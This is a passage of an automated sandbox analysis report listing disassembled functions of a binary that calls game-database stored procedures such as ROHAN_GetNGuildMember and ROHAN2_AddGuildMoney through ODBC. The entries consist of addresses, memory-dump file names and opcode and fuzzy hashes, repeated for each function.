                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetNGuildMember] (?,?) }
                                                                                                                            • API String ID: 0-36928725
                                                                                                                            • Opcode ID: 0d7b73f0d4d101ca97b3a282293214d086c36c6232eb0cc592c1141f9467978c
                                                                                                                            • Instruction ID: 8045ebdab601a7f89cfdbaafbad4baf82b2d836bff979fee6efa642803b271ee
                                                                                                                            • Opcode Fuzzy Hash: 0d7b73f0d4d101ca97b3a282293214d086c36c6232eb0cc592c1141f9467978c
                                                                                                                            • Instruction Fuzzy Hash: 4121E0B0A41219ABFB64DF44CC52F997375EB44B14F208389F71C6B2C4D6B169848F5C
                                                                                                                            Function 00428055 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ChangeNGuildMaxMasterRank](?,?) } ,000000FD), ref: 0042807E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004280BD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004280F2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042812A
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ChangeNGuildMaxMasterRank](?,?) } , xrefs: 00428075
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ChangeNGuildMaxMasterRank](?,?) }
                                                                                                                            • API String ID: 0-2568157895
                                                                                                                            • Opcode ID: ed006571da27843b10860b9e7235093ebce8457f9d29a39159f42ad12d4449ce
                                                                                                                            • Instruction ID: 5a52fa689717c5f49c8bef03009627788e8b5640464a45649cada120d2b74c14
                                                                                                                            • Opcode Fuzzy Hash: ed006571da27843b10860b9e7235093ebce8457f9d29a39159f42ad12d4449ce
                                                                                                                            • Instruction Fuzzy Hash: 642133B1A80259ABEB20CF44CC46FAE7375EB44714F208389F7586E2D0DAB16D808F5C
                                                                                                                            Function 004250D7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetNGuildPostBox] (?, ?) } ,000000FD), ref: 00425100
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042513F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425174
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004251AC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetNGuildPostBox] (?, ?) } , xrefs: 004250F7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetNGuildPostBox] (?, ?) }
                                                                                                                            • API String ID: 0-448873929
                                                                                                                            • Opcode ID: fd2f190ef048f07e039e9affe676ad86eae2cb4660784976956d9736d50a6d0e
                                                                                                                            • Instruction ID: 7737a6ec46eba65e1bf7a6376511749062bf01023691764fafcdc69ae97e1e47
                                                                                                                            • Opcode Fuzzy Hash: fd2f190ef048f07e039e9affe676ad86eae2cb4660784976956d9736d50a6d0e
                                                                                                                            • Instruction Fuzzy Hash: 1B21D6B1641214ABEB64CF54CC52FD97374EB48724F204289F7586E2C4D6B5AD908F58
                                                                                                                            Function 00436151 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_UpdLootItem](?,?)},000000FD), ref: 0043617A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004361B9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004361EE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436226
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdLootItem](?,?)}, xrefs: 00436171
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdLootItem](?,?)}
                                                                                                                            • API String ID: 0-1714460140
                                                                                                                            • Opcode ID: cc894e089ffa97a903ebbd1798a901a179e0494e407d28299e530e1359417c25
                                                                                                                            • Instruction ID: ef04d7c26d4ecb027bf489d6f2a157f7bbffa7f4f34e350ecd2925e14df0fc4b
                                                                                                                            • Opcode Fuzzy Hash: cc894e089ffa97a903ebbd1798a901a179e0494e407d28299e530e1359417c25
                                                                                                                            • Instruction Fuzzy Hash: 752112B4A58255ABEB24DF44CC52FED7375FB44718F204289F6186A2C0D7B16D808F58
                                                                                                                            Function 0043012E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ConsignGetMoney] (?,?)},000000FD), ref: 00430157
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00430196
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004301CB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00430203
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ConsignGetMoney] (?,?)}, xrefs: 0043014E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ConsignGetMoney] (?,?)}
                                                                                                                            • API String ID: 0-46338952
                                                                                                                            • Opcode ID: 2f7b7197c7b0531d822f3d5a771e657c8299d44f477ac818be66ba29adb4f7b7
                                                                                                                            • Instruction ID: 5ed47ba1e7593657481050d5c1e74b6763dcd3cd672408e1710ea6caa93d5de3
                                                                                                                            • Opcode Fuzzy Hash: 2f7b7197c7b0531d822f3d5a771e657c8299d44f477ac818be66ba29adb4f7b7
                                                                                                                            • Instruction Fuzzy Hash: 7721ACB5E48218EBEB24CF54CD52FAA7374EB84714F208389F71C6A2C4D6B979408F58
                                                                                                                            Function 00428134 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN2_AddGuildMoney](?,?) } ,000000FD), ref: 0042815D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042819C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004281D1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00428209
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN2_AddGuildMoney](?,?) } , xrefs: 00428154
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN2_AddGuildMoney](?,?) }
                                                                                                                            • API String ID: 0-1912429240
                                                                                                                            • Opcode ID: 4d5fe97d7683a7a5e5de830d3d0ea6e9e838bbe389a10206258dc4e05d26ce84
                                                                                                                            • Instruction ID: 24c13fdcb2a1c0ad095543c6330835cd2b4c7300414bc924b3f497c195596c22
                                                                                                                            • Opcode Fuzzy Hash: 4d5fe97d7683a7a5e5de830d3d0ea6e9e838bbe389a10206258dc4e05d26ce84
                                                                                                                            • Instruction Fuzzy Hash: CA211570A8421B6BEB24CF44CC55FB9B374EB44754F2142A9F6246E2D4D6B169808B58
                                                                                                                            Function 00428213 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN2_AddNGuildMoney](?,?) } ,000000FD), ref: 0042823C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042827B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004282B0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004282E8
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN2_AddNGuildMoney](?,?) } , xrefs: 00428233
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
